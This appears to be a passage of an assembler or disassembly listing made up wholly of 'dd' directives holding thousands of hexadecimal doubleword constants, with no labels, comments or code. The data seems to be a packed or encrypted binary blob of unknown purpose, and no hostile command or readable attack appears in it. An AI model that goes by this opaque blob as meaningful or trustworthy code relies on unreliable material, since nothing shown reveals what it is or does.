		dd 0E81373A4h, 4B2816DFh, 0DC168608h, 8EEC6AEBh, 320E8785h
		dd 0F20CDC48h, 22555B74h, 0F7DEFC2Dh, 99975127h, 0A473483Bh
		dd 733F8C22h, 6EBC417h,	0DE7824A2h, 66FBED2Ch, 0A812DC10h
		dd 42FEB3C2h, 79C1093h,	781F27A4h, 0DFA64914h, 75265B68h
		dd 0B5F49E7Ah, 18C4E379h, 46A28F50h, 0D425ACD9h, 10E06427h
		dd 4184738Fh, 12C0CD45h, 377E0E4Dh, 0E4E6BA2Ch,	8F190ADCh
		dd 446C76EBh, 7C905D8h,	0C4968EEBh, 3ECFF921h, 70AF2348h
		dd 899EA18Fh, 0B9040975h, 0DB65F834h, 5FE9F84Ah, 5739302h
		dd 0AEF714E8h, 483750CFh, 0A127552Fh, 0C46732C9h, 0E03001CEh
		dd 79A01A77h, 0B910D76h, 0B031AFEBh, 6D066C92h,	0F7CC2C8Ch
		dd 6275DA7Fh, 0C88361D0h, 2CE8A04Ch, 0E47F2641h, 0EE61CD0h
		dd 0C9A40890h, 9CCD047Ch, 0EA31C10Eh, 50D05F04h, 610BF33Ah
		dd 2D7AE876h, 88B8062h,	1590E0C4h, 906D636Bh, 9B26EF8Eh
		dd 0AE4B6418h, 0CDE064DCh, 0CD4ACC27h, 8A44CE3Bh, 0CDFD557Bh
		dd 0F78914BCh, 972C7BE3h, 0DC109EFBh, 0FFC08F0Eh, 51D0C530h
		dd 0C8A233FEh, 0A62B282Bh, 67923C29h, 4B25F66Fh, 0C1C3E876h
		dd 4DDA20E1h, 0F7595541h, 77B804EEh, 84C33D88h,	0D072C022h
		dd 28C858E6h, 25BE0AC8h, 1AEB896Dh, 1724C537h, 0F70A2156h
		dd 7056DE4Ah, 36278E81h, 12941EF5h, 5452E96Dh, 77F2AEDBh
		dd 0E1568551h, 0F24C491Eh, 16EB2205h, 0CB273DE6h, 5AFF36F4h
		dd 0AAC0A898h, 9023A059h, 8B6EE851h, 9607256Ch,	9C6DFCAEh
		dd 2BF59760h, 3CF1160h,	7532FAD2h, 0FBD3CC10h, 63047601h
		dd 0F5CEE153h, 85B5A438h, 14717CE6h, 0B791E988h, 38CE2659h
		dd 96F4FC65h, 12E0D94Fh, 237130D8h, 1211938Eh, 0E032CC14h
		dd 0E414CBBBh, 0AC82901Dh, 0DC90854Ch, 0F16B1224h, 8DEB1214h
		dd 7426B896h, 53561590h, 0A85062F5h, 507A60D3h,	65FFA2E7h
		dd 444C28DBh, 0F446263Ch, 1887C99Fh, 7D32DF52h,	28FC5507h
		dd 972356B5h, 43A43EF4h, 44AC531Bh, 0FC69F3E1h,	45AF2B42h
		dd 0BE775244h, 996DEE16h, 952A3A24h, 787BFD6Eh,	0AAE81808h
		dd 4C514F5Bh, 280B44A0h, 8A41EC95h, 62EFF757h, 0E330DAEBh
		dd 0D0F9EF55h, 7F961A4h, 14772DA1h, 0A6C412EBh,	2579B120h
		dd 0C62F56CFh, 0BD3184A0h, 7EF8E127h, 51122210h, 0E36E3DA3h
		dd 0DDDE2264h, 3CD7D36Ah, 0CAB42F2Bh, 806F117Bh, 475F4B07h
		dd 115A92E7h, 9F18A638h, 0F018285h, 94DB9085h, 0E486383Dh
		dd 2CED8D15h, 0B92C3916h, 0B4A8D200h, 6F902DFh,	8B94347Ch
		dd 9B22294Eh, 513E7466h, 149B4A19h, 0D7B505C7h,	3CA305E8h
		dd 949D3892h, 0FAE82302h, 45CC5C1Ch, 89D2D1Ah, 0A585023Ah
		dd 0DDD2C9F6h, 14050A2h, 8D9A4D0Bh, 419C8A3h, 2C061CC4h
		dd 136C68F8h, 21D78989h, 0B41606B9h, 2294B853h,	210183C0h
		dd 0B064C414h, 0A63F9552h, 0D0F692C8h, 0B2EA1CAh, 5305C06Bh
		dd 34D0E0Dh, 0DAAA1B3h
		dd 3DBC2A58h, 7393FF9Ch, 15CA525h, 38512BC3h, 1CEE5EEFh
		dd 73A9313Ch, 6B3BAF05h, 3283AB5Ah, 0D3178978h,	97759B89h
		dd 0E30C9790h, 0DE2B2D7Ch, 0E6452099h, 0FEA22C1h, 808FB854h
		dd 0D3277692h, 9A6093E8h, 96E95D23h, 0E04D4120h, 16A5340Fh
		dd 0F7D9C6B7h, 947223Bh, 97F2BE7Dh, 40D4A609h, 363B3C59h
		dd 0C441BABEh, 0D26412BEh, 20BB1342h, 0FE9C119h, 0A4A46B7h
		dd 204D269h, 8DC40135h,	0A144108Ch, 0C828893h, 904EA83h
		dd 87BDAE4h, 0D0924E9Eh, 5A30EBCh, 79D7BFBh, 3603E430h
		dd 0C84196D0h, 56110699h, 4B4808ECh, 7CBDA2FCh,	0A90729AAh
		dd 3F286A22h, 0EAF8C113h, 9C616156h, 0A656763Fh, 4C389C0Ch
		dd 6C05570h, 423B0441h,	0D056C908h, 20DC7C98h, 0BA5F7315h
		dd 0D3C29EFBh, 0D7D2F7EAh, 0B9808244h, 23E48144h, 0ADA4C27Ch
		dd 8AF889F8h, 0F6AB56FDh, 4814DC78h, 6F998004h,	1FFE9C27h
		dd 15294A88h, 2CBE0F0Dh, 18CA0A3Fh, 0F80AD245h,	20CA1341h
		dd 6BEB0A64h, 24D02BD0h, 5D6A6020h, 56D0F70Ah, 8A8CC74Eh
		dd 0AB23254Ch, 7F93FE92h, 0A6907F89h, 5CA6D8A2h, 0D0C8518Ah
		dd 3E5F22EAh, 15525088h, 1451D064h, 4E1D2B92h, 490ADEAh
		dd 0B7E0894Fh, 30EFA057h, 2D950C68h, 0EE848170h, 6C154253h
		dd 0CFD0313Ch, 0B73DECA4h, 0F9C1916Bh, 5A652304h, 0DE229C54h
		dd 0F4558961h, 0C564939h, 0B1C2B5E4h, 563B4D71h, 0E7D42030h
		dd 6933E60Dh, 13F566A4h, 748ACCAAh, 64D95246h, 0FCA8E3Bh
		dd 36501484h, 809B9455h, 91483B98h, 39D46480h, 0D4903FEEh
		dd 0CC53C8F7h, 4487D47Ch, 0D4C83ED4h, 0E629E47Bh, 881EF71Ch
		dd 0A7D06ECCh, 0A7F06FF8h, 0FABBEBFBh, 69FDDCF4h, 1C8E0DE2h
		dd 2D102171h, 8DF893A0h, 0D5BCC114h, 0FFDA4B4Dh, 0C84D9E6h
		dd 0A0057695h, 4F46F318h, 0C36D124h, 551F0821h,	0C851D2E6h
		dd 5B81D80Ch, 12E6B34Dh, 88D4C61Bh, 0D2ACC13Ah,	48F988F8h
		dd 309316C8h, 2E4CC1BFh, 0B8568C0Bh, 27E82416h,	7D824CE4h
		dd 3E24450Bh, 0EB14903Eh, 35AA5B67h, 2348811Bh,	0B45E68BAh
		dd 5A5F252Eh, 3E9C3612h, 0B908AADh, 0D0DA13A9h,	0F5CC11EAh
		dd 3A3B192h, 27275B58h,	4F39F402h, 1BEFBA1Fh, 0A5D83A69h
		dd 2922615Ah, 841A2CC0h, 65A14344h, 0C1C119B4h,	470D8BB5h
		dd 0EA516515h, 0FDE86322h, 0ACCD75Ah, 0FB45B580h, 54E3483Eh
		dd 0D14032Bh, 0A1A84030h, 22482EA9h, 0B152809h,	33DDAD83h
		dd 22401013h, 8428C723h, 1849991h, 2990198Ch, 0E184345h
		dd 3B128288h, 962443D6h, 0AC14C4BEh, 24041511h,	898990FEh
		dd 4B14AC08h, 0FFEE8577h, 1592BE0Eh, 556ACA96h,	0B2510CC2h
		dd 7B4B3A9Dh, 0C432ECA5h, 0F8D26B88h, 451E96A1h, 835820C2h
		dd 2B7314C1h, 3E5B5053h, 4E522AC2h, 0FBE85017h,	0A20D7798h
		dd 8AC16434h, 3B8CA509h, 0F6762A49h, 14E84217h,	326D5112h
		dd 0CC33B840h, 0A38ED234h, 0E0F4FC92h, 38C88371h, 56A19656h
		dd 54C8D44Eh, 5A978617h, 440DB1D9h, 20DC1CE0h, 13987EE7h
		dd 65C654FFh, 0D2613A6Bh, 5EEB08CCh, 31926615h,	89B71292h
		dd 12100B06h, 7C801B6Ah, 80FD83A0h, 2473D41Ch, 0F2B2AE92h
		dd 21082334h, 9893FD7h,	40280949h, 0EFEB0281h, 0F4E82C95h
		dd 0D46A556Fh, 645F4B2Ch, 0B715A6C3h, 3B55AAE6h, 3B86A24Ch
		dd 140286CFh, 51866456h, 0C085C202h, 98074519h,	0AED1403Bh
		dd 958CC82Fh, 16917EA1h, 90C4EC5Eh, 30E2F270h, 6CA54975h
		dd 0FB561644h, 0A25EC751h, 753F16DFh, 3F91C15h,	589F3428h
		dd 0B4E69D6Ah, 6F03DA2Ah, 0F027527Fh, 25F9B304h, 8F7451A0h
		dd 5424F921h, 0FF398305h, 0C9B42648h, 1B8459C6h, 0C9CE2CF9h
		dd 97525902h, 0C412EAFFh, 92C832D2h, 1932E2EBh,	0F042750Dh
		dd 4E5FCCB4h, 35C509C6h, 48CD79DCh, 310C71DEh, 4815454h
		dd 2A1F0D24h, 5DD69661h, 7C2967C4h, 3EBB0CD4h, 6943E2EBh
		dd 30B171C0h, 1948D4Eh,	8B49B19Ch, 68887FABh, 0ECDFFA4Bh
		dd 1A753221h, 0C81E203Bh, 206894B6h, 7CF17C65h,	0FDE0D1E4h
		dd 0C95BDB73h, 0E7EBF032h, 0E3A6E0B9h, 4D04C05h, 0FB134BEh
		dd 0D8EB2BD9h, 39A5D0D9h, 3207EC7Ch, 312F7E3Fh,	683B5A9Fh
		dd 9C8DEEDFh, 5004BB60h, 0B2513B04h, 784B925Ah,	0DCCFBB5Fh
		dd 1253AAA3h, 2322D159h, 48C807FFh, 40039AA0h, 7F9F2EEh
		dd 2E1568C8h, 6918C5F2h, 11D2D745h, 8BA1EE52h, 2E5A2D10h
		dd 0F770E9E0h, 53EFAED2h, 2314EC84h, 898F71C2h,	248034F2h
		dd 7CC2A75Ch, 1234E483h, 1DC29815h, 0E6AA4EAFh,	0C65A044Bh
		dd 0DF2B08D8h, 0D2052E25h, 89F89AAh, 15A651EEh,	0F19FAAB2h
		dd 10E88B8h, 0FC17A0A7h, 86D00C8Dh, 4B3B3EDFh, 0C128B74h
		dd 0F2ACD9AEh, 0D54E3D08h, 4008240Ch, 0EC0CC6F1h, 0A14D5A81h
		dd 0B41B12E6h, 0FA7A8AD3h, 88F6BFACh, 16B548F7h, 0C1BF1D93h
		dd 8C0B1B4Ch, 2416BA56h, 61E914EAh, 11220BD0h, 0EB9E4592h
		dd 345A7F66h, 2BA37F1Bh, 4164AD3h, 44A04A5Eh, 0D461B3ECh
		dd 3C0BF276h, 742918A4h, 0A4BCDE14h, 3453E89h, 75042E2h
		dd 186983FCh, 0D86B1928h, 47A0E935h, 9E9D94B6h,	0F326EAC1h
		dd 95FC4AF8h, 0D7E9115Ch, 103CF993h, 20975489h,	783B82A9h
		dd 15DB9ED9h, 3EB2DCD7h, 2D0A5E7Bh, 2C8333ECh, 0F046C0D0h
		dd 5E04256Eh, 2E6095D5h, 0F23B453Dh, 4A751708h,	6008F010h
		dd 0C96B10ECh, 34515E14h, 0A97EB8E5h, 0A3DEEC2Bh, 4D4A84C8h
		dd 4D772E89h, 0C23B125Ch, 92B09E2h, 0FC839495h,	1341C468h
		dd 0A6086A60h, 123F90C1h, 97AB1041h, 0BDE66B9Eh, 4F6A763Bh
		dd 5B48D7BAh, 2AF444EAh, 8827B495h, 2FD06E0Ch, 2531FB1Ah
		dd 7B32996Fh, 58F95739h, 1AE5EAFAh, 0A33DA694h,	0C8538A10h
		dd 0BF02C7D9h, 0F2E5E39Bh, 512CC830h, 74A609D4h, 49DEAFF5h
		dd 2DC9D553h, 0E1D1A841h, 0AA56237Ch, 5A60164Ah, 93C5402Dh
		dd 0F4B2D410h, 0BC4AFC3Ah, 7E4E4AC3h, 4B206B3Fh, 8D3C094Dh
		dd 0AC46CA04h, 0F391519Ah, 0FC950CA0h, 0B3D11887h, 0F53E2C1h
		dd 30C1A86h, 9114424Ah,	2F3D1012h, 520F09D2h, 0F3751432h
		dd 883116AAh, 570F0AFh,	73E17070h, 4A957BC4h, 812D90F3h
		dd 7F37A2C2h, 3B625EC6h, 465D7734h, 0DE0BA615h,	50829F3Dh
		dd 4BFF470Fh, 8E4680ECh, 0F001C70Dh, 2494142Dh,	64E18A3Dh
		dd 5532E91Eh, 0AC224A05h, 42CC205h, 0E91CDC6Eh,	8FEB0A32h
		dd 0F868B2D4h, 33ECFB99h, 180C2C6Eh, 1F4C1CACh,	0EC4AED42h
		dd 0E456867Ch, 0ED867C1Eh, 90042D0Fh, 0B2C7D47Bh, 0C8BEACA3h
		dd 8416451Ch, 353F8689h, 43FCA46Eh, 0BE1D2BD6h,	0CBEB13ADh
		dd 19125C88h, 0FC980F2Dh, 15BCA83h, 52A2FD35h, 4882CCD6h
		dd 0C0C883BCh, 8EAAD844h, 503020D0h, 9F178F10h,	5FE47225h
		dd 5592BC43h, 8894B3D0h, 55C639F4h, 21E74A28h, 0C1A969D0h
		dd 4B20555h, 853135FAh,	9108AC72h, 34B7EB3h, 33D42F48h
		dd 0C8C51106h, 3B61E4EDh, 0B08E0F22h, 0C6FB3E57h, 0D80B4072h
		dd 39380367h, 0C47EE462h, 8A05FA4Fh, 0ACC73989h, 0CCB913AFh
		dd 2BE75C76h, 87E02D6Ch, 0D0C8C23Dh, 7967E47Bh,	423EEB47h
		dd 18C5619Eh, 0AD794569h, 0BB15E0B2h, 6FE19F47h, 7CBBCE52h
		dd 92C33C85h, 0ADE65395h, 0B41BD4F2h, 0FC1BFE29h, 0A4D7D828h
		dd 0E427B1FCh, 4BCA2D5Ch, 46014608h, 0E458BEECh, 2038D4ABh
		dd 0E6EA41FAh, 9D0ED73Eh, 55773CC9h, 0C9FBDA90h, 48F20CA0h
		dd 9E6FCAB4h, 54BB6B69h
		dd 6E93080Ch, 5B28C8C4h, 5629CFA7h, 0EE29C1C5h,	0F8A7C979h
		dd 21E04776h, 0A490EFD0h, 1E4A5B7Eh, 0C9B5AF83h, 0D0F2E091h
		dd 520BFF3Ch, 0C95E5E2Ch, 0AF669620h, 2CE4C911h, 4FEC8874h
		dd 0F3E0DE70h, 7EBCE911h, 0BC485BB7h, 20218D23h, 0C699D3A0h
		dd 0C582C9BDh, 3434FC41h, 91D8FCC8h, 0BCC6A6A7h, 0B92B74DAh
		dd 8112E4F9h, 3B21D7B6h, 0F657F3A4h, 0B9CF49AFh, 5E68F84Ah
		dd 0C43D5397h, 124964A3h, 39C8570Ch, 3624B555h,	0AB637FDDh
		dd 3A5E694Fh, 5EC47813h, 1B6DC25Eh, 0A31ED404h,	5E9E0BA0h
		dd 822FCDBh, 0DC2CBC33h, 108EA584h, 66EBF10Bh, 1BC95A5Fh
		dd 0BB4D47DBh, 219E5E3Dh, 53A4DC91h, 455ECB62h,	0D1D46965h
		dd 0A6D83ED8h, 0EA6B8A08h, 975878F6h, 4EAD1EC7h, 9DB19550h
		dd 0FC881A1Bh, 0A82BECD3h, 0BA645075h, 7E0188C4h, 4F455B56h
		dd 743D017Dh, 0A07FACF4h, 0AB51CA2Bh, 5238DE34h, 51045B50h
		dd 0B8B170E8h, 6415C88Bh, 2D611EEAh, 0E55A391Ch, 688632FAh
		dd 50C55A28h, 55515B22h, 74137F7Bh, 45EE82C8h, 12316A05h
		dd 0F93EC495h, 9CE02270h, 225A4AFCh, 0A2FF9C0Ch, 0A18DFE09h
		dd 252E3B06h, 0B35282F7h, 0AA333988h, 0A042C807h, 412513ADh
		dd 660A0B4Ch, 1FB80A1Bh, 2F86D029h, 0EE130C64h,	2A214184h
		dd 326AC181h, 1EB2E8B7h, 2B0EC4D7h, 0B286BC85h,	0B514A814h
		dd 2D23D59h, 8504EE89h,	3072E426h, 0D43AB9B0h, 0A7B4445Ch
		dd 21951FD4h, 942C210h,	0A06BD28h, 8B137D40h, 0EEFCA824h
		dd 5E2BACE8h, 0F2C41D5h, 3204318Ch, 0D88D8550h,	84FCD97Ch
		dd 2004AD21h, 32509C1Bh, 0D41CC0D4h, 4AA43E18h,	2606BD09h
		dd 778D09B5h, 0F851FC64h, 0C40747C3h, 0B49523D0h, 0FF0C220h
		dd 84C8E28Bh, 83218512h, 5C0A778h, 12128D67h, 0E190BCB1h
		dd 683D88FBh, 0B4029939h, 414823B8h, 0AC9A9006h, 8C5A06D0h
		dd 55FB36EBh, 219EC41Fh, 9BD8128h, 7E8132C3h, 0F110FA98h
		dd 0D48D8803h, 2351928Ah, 4142EB09h, 922D2786h,	3FF32594h
		dd 79496C56h, 0B22FB38Ah, 7B561B8Ch, 8C891D57h,	698810EAh
		dd 19577C10h, 0F6C85A81h, 7C7FA40Ch, 0F94286F0h, 0D0917221h
		dd 95C3A679h, 4D3B8BC1h, 0F8EC12C0h, 89035110h,	0A5E60985h
		dd 0C50894Ah, 183B8933h, 48820F19h, 78B643F0h, 15C8C843h
		dd 5B54547h, 106247E2h,	28896DE9h, 4EC85852h, 21F7C4D4h
		dd 297802EEh, 2BCC85C6h, 140F0997h, 0FE0DF363h,	840280Fh
		dd 9844022Dh, 2C81DC76h, 22D0D989h, 0BA45D7ABh,	8937A48Dh
		dd 2C216868h, 1230BA6h,	428DD9B1h, 2C4C3B3Ah, 480D2CC8h
		dd 47D86428h, 19EB1372h, 6532050Fh, 19D0393Dh, 0F69DA172h
		dd 8A845108h, 0FE06FF59h, 9CF8E9F0h, 99957684h,	0FE0C96C3h
		dd 66059132h, 0DC852139h, 17A44D1Fh, 74270920h,	75A80F1Fh
		dd 5FEC4A65h, 0BC4D1235h, 63E13F09h, 19D1032Bh,	25D6EB6Dh
		dd 7533533Bh, 8F5D621h,	8A5201E6h, 945DFC22h, 4454D93Bh
		dd 0AA5284F4h, 851863Ch, 5FD049ECh, 8F45F388h, 4A851B08h
		dd 329851BCh, 1509906Eh, 7B63BCE9h, 6E74818Bh, 3229222Fh
		dd 6672F15Ch, 0C20B15D6h, 18430889h, 8E8BC88h, 7336EB09h
		dd 1086BC4h, 2308681Dh,	77A8641Bh, 94479689h, 9AF2BADh
		dd 0AB151275h, 0F242C422h, 5AF4CB24h, 36889DCAh, 22F1E4DFh
		dd 8D1B84B0h, 8D30824h,	0C016C23Ch, 0A3C8EBFDh,	65A05485h
		dd 6C3B89E4h, 18751426h, 0A9B0B215h, 0C88C466h,	0F0B80774h
		dd 685DEB97h, 8129645h,	0AB890722h, 4ACE80Ch, 17B48402h
		dd 0A9B94BA5h, 0B965FFE9h, 0FE432A76h, 75023B06h, 1088A011h
		dd 8384A895h, 0EFA521D0h, 0C4441619h, 14208273h, 2CE90980h
		dd 0D33379CFh, 9CE170F8h, 9D1A063Ch, 73A5E0E7h,	0E6C52FBFh
		dd 8FF21017h, 0D3F1516Bh, 401E5D69h, 41880C40h,	6A93B1Ch
		dd 0A278F41Eh, 2068231Ch, 0A5E5EF6Fh, 69AF1CF5h, 26718F9Fh
		dd 2E2D4064h, 1FC29C64h, 10219960h, 0FA1AA20Dh,	359D514Bh
		dd 41313C91h, 756B119Ch, 8FAA028h, 8339297h, 26320409h
		dd 1CF3147Ch, 792949EBh, 0B02517Fh, 50FC93Fh, 53C9EB18h
		dd 0E515B3F3h, 0F221534h, 0DE0B8D11h, 0E3103A92h, 79F4181h
		dd 1450F21Dh, 18147259h, 81974A23h, 5F9805C2h, 41926251h
		dd 0F82F97BCh, 0C3BCF1DBh, 0CC9EA37Fh, 34D963A5h, 10123EFFh
		dd 0BC64B572h, 7E44FECCh, 0E28A1F0h, 20C48516h,	0BEB818D0h
		dd 858BE592h, 0F11CCA1Dh, 0F2BA1E0Ah, 31BF6A65h, 1D85FB6Bh
		dd 10519401h, 34948E49h, 73129739h, 4FF2E22Dh, 125F1B2h
		dd 0F0E191FFh, 8052C618h, 0BBA7688Bh, 8CAEC117h, 0C26EEB1Eh
		dd 7B2FABD9h, 31F12716h, 4257B091h, 3F13741Ah, 45FA14DCh
		dd 8CE02A21h, 42C6B538h, 984C39B7h, 2F3B0D34h, 0C5D10855h
		dd 0D94F9ACh, 45304911h, 7DEC2A52h, 0C08265Bh, 10891117h
		dd 25A79D89h, 0E59569CEh, 92EB4490h, 0C2A88A8h,	80175D49h
		dd 1AA11489h, 3FF5D1AEh, 99107912h, 7B6C2554h, 99FE76D4h
		dd 62573263h, 424C8D42h, 12F21152h, 4B441FA5h, 93BC2BDFh
		dd 583708E8h, 808C09C8h, 818A59D9h, 750B3539h, 54286C70h
		dd 2FC14010h, 65130CE2h, 5DCA03F1h, 24E02CE7h, 46A75E4Dh
		dd 0A0A12F63h, 0E81438D2h, 4308A301h, 0EBE25B8Ah, 96FE974Bh
		dd 764BC03Bh, 5F5B2F5Ah, 0F04EB572h, 9D7C2EC9h,	7679A34Ah
		dd 0BD84C497h, 6442B25Ah, 0D501FD4Bh, 5D244A38h, 55748C04h
		dd 987A3AC8h, 4C75250Eh, 59250A73h, 45201075h, 0A6EA38CCh
		dd 4A5E90BDh, 7CA0E208h, 0A945E99h, 493889DEh, 134DDBDDh
		dd 0D1BB9054h, 9FE4516h, 3B262E79h, 0AA086BDEh,	8F0F4182h
		dd 5E31ADBBh, 0D2BF5620h, 24199B7Eh, 28DCACA6h,	61762601h
		dd 42166CA1h, 56731414h, 0FE185C5h, 9248DFB0h, 0E28125C4h
		dd 1E90B272h, 0A5A80570h, 722FD03Bh, 44315434h,	250821F8h
		dd 987BF0C1h, 53BD1051h, 27D53D44h, 0C82B838Bh,	2B0FFFE3h
		dd 860A448Dh, 0E87E17EBh, 7F6CA213h, 0B808DECAh, 83758D7Bh
		dd 40DD3F2Ah, 10BA732Fh, 98B9686Fh, 0A418CA68h,	0E371B756h
		dd 420814B2h, 0FE6108A1h, 0FBC61089h, 84F19128h, 0D98C3A81h
		dd 11AD9320h, 0F1096C0h, 5E202506h, 0FDAB4261h,	1EBD1A4Ch
		dd 245CD280h, 0C189FFBDh, 45606CCEh, 40166E5Ch,	2DA6878Dh
		dd 2018084Ch, 0A32BF046h, 854EE583h, 1CFAD62Bh,	0CA5FE7Bh
		dd 0F25912D5h, 59EBFE75h, 33919515h, 497FB17Eh,	2F6DBAFh
		dd 6973F029h, 81D4BA9Bh, 2F5A7C0Ch, 0E89E14A8h,	4F7627E7h
		dd 0CABF6351h, 2D4061AFh, 38F82B03h, 0DF7C27F3h, 3DA26BB1h
		dd 0F81C2B41h, 0ACA1B9E0h, 0BBC64986h, 5E9C85DAh, 7A2E3F02h
		dd 4786B4Fh, 0C2210799h, 0A564F045h, 8AE3A32Bh,	4BC86AC4h
		dd 9F11FC74h, 5516E6Ch,	8060203Dh, 0F34F7AB4h, 87288835h
		dd 2CB58C95h, 84881A33h, 0D2B4AFD3h, 0D28893FCh, 3B34C07Bh
		dd 3F27FB53h, 8C18351h,	0EC3CBC23h, 0F601C293h,	4D364DDCh
		dd 10737B96h, 692DDE81h, 0C1C04293h, 0E45F0CE1h, 686B94AAh
		dd 98503DFFh, 0FE015D0Dh, 58CBEC8Dh, 804A6802h,	0F5CE9326h
		dd 0CDFE250Dh, 1E6D4CE4h, 1D511BFh, 0E45A2E16h,	0E6E6BD9Dh
		dd 18084310h, 7DCA3BE8h, 0AF119D34h, 69680708h,	0BD9BBE0Bh
		dd 82C62A12h, 549CBD8Dh, 82132AC7h, 24DB4EB5h, 7B68A6EBh
		dd 8E6405CAh, 734C3962h, 0CADD9313h, 0FB87E4FFh, 83401B73h
		dd 8420A5E0h, 0CD23C91Bh
		dd 45C76FB3h, 77F8C96Fh, 0F7561029h, 0CB25ADC8h, 11C3B75Ah
		dd 0E8AF72Bh, 0C9E1A825h, 56499FA6h, 8AFFEA0Ch,	0AE0E452Bh
		dd 0CD7A34B4h, 12C93BCAh, 0A17DBE34h, 31650245h, 12E2BE31h
		dd 91492684h, 78EFE8BEh, 0E7A75A4Ch, 5A745826h,	0C2857A1Ch
		dd 63BF5820h, 81F97703h, 23EB49B9h, 93BD7D39h, 99BBCC98h
		dd 18818561h, 0CF47D02Bh, 828A5089h, 17EFF552h,	51201AA5h
		dd 0AF12562h, 5FC71A2h,	31944892h, 90887269h, 721014DCh
		dd 14DE8763h, 3366688h,	0EC152620h, 7D371E73h, 7A32AEB9h
		dd 94C8590Ah, 87900E2Bh, 274F2A4Ch, 4985BD08h, 0FB75EE0Fh
		dd 1715A143h, 0E1D248F8h, 84099EACh, 0FC1A1A0Ah, 25436835h
		dd 0E96E2AD4h, 0C3D610Ah, 3285726h, 0F308AC83h,	81F25ECFh
		dd 4DEF83A4h, 715DFEE0h, 4AF33F13h, 1F072CCh, 0A3EFF405h
		dd 0A2F75D7Dh, 0EDB866F0h, 9A75C907h, 0E1F1E18Fh, 22D82DA2h
		dd 0A8C23373h, 0AB0B75FCh, 4987DA6Bh, 0C1C2DEBh, 7FDBE72Bh
		dd 0AF7ED625h, 5D0DBA7Dh, 4055AABh, 738A2C5Eh, 4E861955h
		dd 9DC44F01h, 4129EAF2h, 485510FEh, 3DA19FA3h, 50898ADEh
		dd 2814544h, 849B25A0h,	0D12B3BDAh, 4AB2E2A4h, 0CC101006h
		dd 57EB0B12h, 6740DB0Fh, 752295C2h, 811FF02h, 0D07E8663h
		dd 0FC24B86Dh, 42DD2704h, 47139E05h, 0F7B388D6h, 2A1D92h
		dd 0EB2B0420h, 5B90FD7Bh, 4278D4FAh, 2D0FE2FAh,	50B77FFAh
		dd 0A29618CBh, 9CDCE994h, 0A8744EBCh, 3276140Ch, 0E1FD8A25h
		dd 0F4AFAF88h, 0B8583CA3h, 74E913D6h, 0D6FCA2B7h, 0F6E9DD71h
		dd 283AB5A1h, 28EA4356h, 2F9E610h, 6490E20Ch, 0CA3B0516h
		dd 5AD3870Fh, 0A55F2E23h, 2024F08Ch, 98849AEh, 85F3571Eh
		dd 0D73E880h, 92655FD5h, 15E25F4Ah, 0C8D05C49h,	830C5993h
		dd 77083B17h, 90C35F68h, 5E7602CAh, 0C181D4A8h,	8A396BA1h
		dd 183B73A8h, 0F3028942h, 0F3C5AA24h, 0E804FE0Dh, 5A416D37h
		dd 0F8616BC5h, 0D487A451h, 0A4DD6A92h, 0AB734FA0h, 2B29D4CAh
		dd 910225CFh, 0F3C103h,	0CC53D82Eh, 0F2C0A2AFh,	79E5D728h
		dd 0AE24E417h, 0C15EEEB2h, 4F09754Eh, 42F87E8Bh, 9476CCBDh
		dd 1D50B78h, 52B49C5Fh,	0E42E76D8h, 8BD569CEh, 722CF473h
		dd 0EC6964D9h, 8D0F0B7Fh, 8C6C019Ah, 7C83E410h,	2E75FF0Bh
		dd 1A446F5Eh, 0E42522AEh, 95C2E244h, 7C0C4139h,	1916277h
		dd 0BF85F32Bh, 0E1915A25h, 68BC71FCh, 0E939CFA4h, 1536F372h
		dd 0BD5E276Ah, 20254A67h, 2A9EC9FEh, 42FD7C08h,	3F1014Eh
		dd 97914C49h, 32BF076Ch, 0F09907BCh, 0D989101Eh, 859E5066h
		dd 483BC1CCh, 83530101h, 0AA58FCCBh, 224886A9h,	30203287h
		dd 0FCB51BDCh, 8AEFA4F9h, 70E93DFBh, 2830E2A5h,	134C3BE0h
		dd 0E67C1CD0h, 41C33804h, 27E8EE03h, 0ED131EAEh, 0FAC43851h
		dd 0A8C7AF76h, 1BBAA508h, 6D459A3Ah, 0DAB27C27h, 731A8709h
		dd 61421257h, 268A3944h, 0BC15187Dh, 53BE4B43h,	0EBB5A441h
		dd 0CA695972h, 0E9BF246Dh, 5687F8BBh, 0DC22625Fh, 21624B3Bh
		dd 3612F947h, 0A2D313F8h, 29257D09h, 0CDE2D5E9h, 10765B5Dh
		dd 0B8314A81h, 0F105FDF0h, 0F72702A3h, 0B65F5012h, 5C975C20h
		dd 3A7DE946h, 471A5D27h, 3CE0E45Fh, 5AB4FA81h, 62A3EE32h
		dd 0E6273C2Fh, 0E698BB23h, 2AFD5103h, 0C091E6FCh, 2B1ABB40h
		dd 1E0B1088h, 150C91Bh,	22809E75h, 0E3201238h, 0D0709582h
		dd 0ACDCED4Fh, 0CCD49F68h, 0A74CF76Bh, 0C42DD69Fh, 8678081Ch
		dd 12137502h, 4B056C44h, 0AA33EA72h, 680D0DD2h,	2A651090h
		dd 0EC7CE9E3h, 0AE4354D0h, 333197B8h, 958D1187h, 0B3AA1A44h
		dd 1FBFB562h, 24D667ADh, 0EE39DC5Bh, 6A21C43Bh,	0C05F5816h
		dd 88F5E889h, 8A50BD2Eh, 0D46E5D0Eh, 73EB84C3h,	858A8CAFh
		dd 501BD464h, 0A08A9DAFh, 0F1BD0F74h, 36F62F8Eh, 8746577Ah
		dd 6B742556h, 6AB8FDFFh, 0D457F7Ah, 31801960h, 883DE0C1h
		dd 52FEA10Ah, 0E88584A3h, 8DAE7DDEh, 45384D93h,	0E3E3410h
		dd 0A109CEBh, 8A8B2C6Ah, 2AE85260h, 4124A589h, 498B7C74h
		dd 2703440Fh, 248DF418h, 0AC4F42E3h, 851ECAD9h,	44753B50h
		dd 7C97C608h, 0D8D87B04h, 0C2E50A6Ah, 829862B0h, 0D00C4084h
		dd 2068086h, 9125274h, 9A3033Ch, 228F011Ah, 842CEB21h
		dd 0E821CCC5h, 8A8B7DA0h, 512D0F8Dh, 0BB07659Ch, 0C27F3889h
		dd 951C0217h, 0D1D200D4h, 2FA924AEh, 0DE94D391h, 54DA1C6Bh
		dd 0D5A8A302h, 2CB44493h, 9FE8325Fh, 8BD5A3C3h,	50F85E8Dh
		dd 0F8616824h, 0D177E8B9h, 1164DC6Eh, 43F51497h, 2AEB13BCh
		dd 84ADBE16h, 1FE81AC2h, 2529654Ah, 25A1AD5Bh, 6BAC0596h
		dd 0D700E9B4h, 8789CDA9h, 0F85931DCh, 0A93BFC2Eh, 885B6779h
		dd 4B4B7DA4h, 0C9147999h, 2DEE38D4h, 0A4292EA4h, 0C422884h
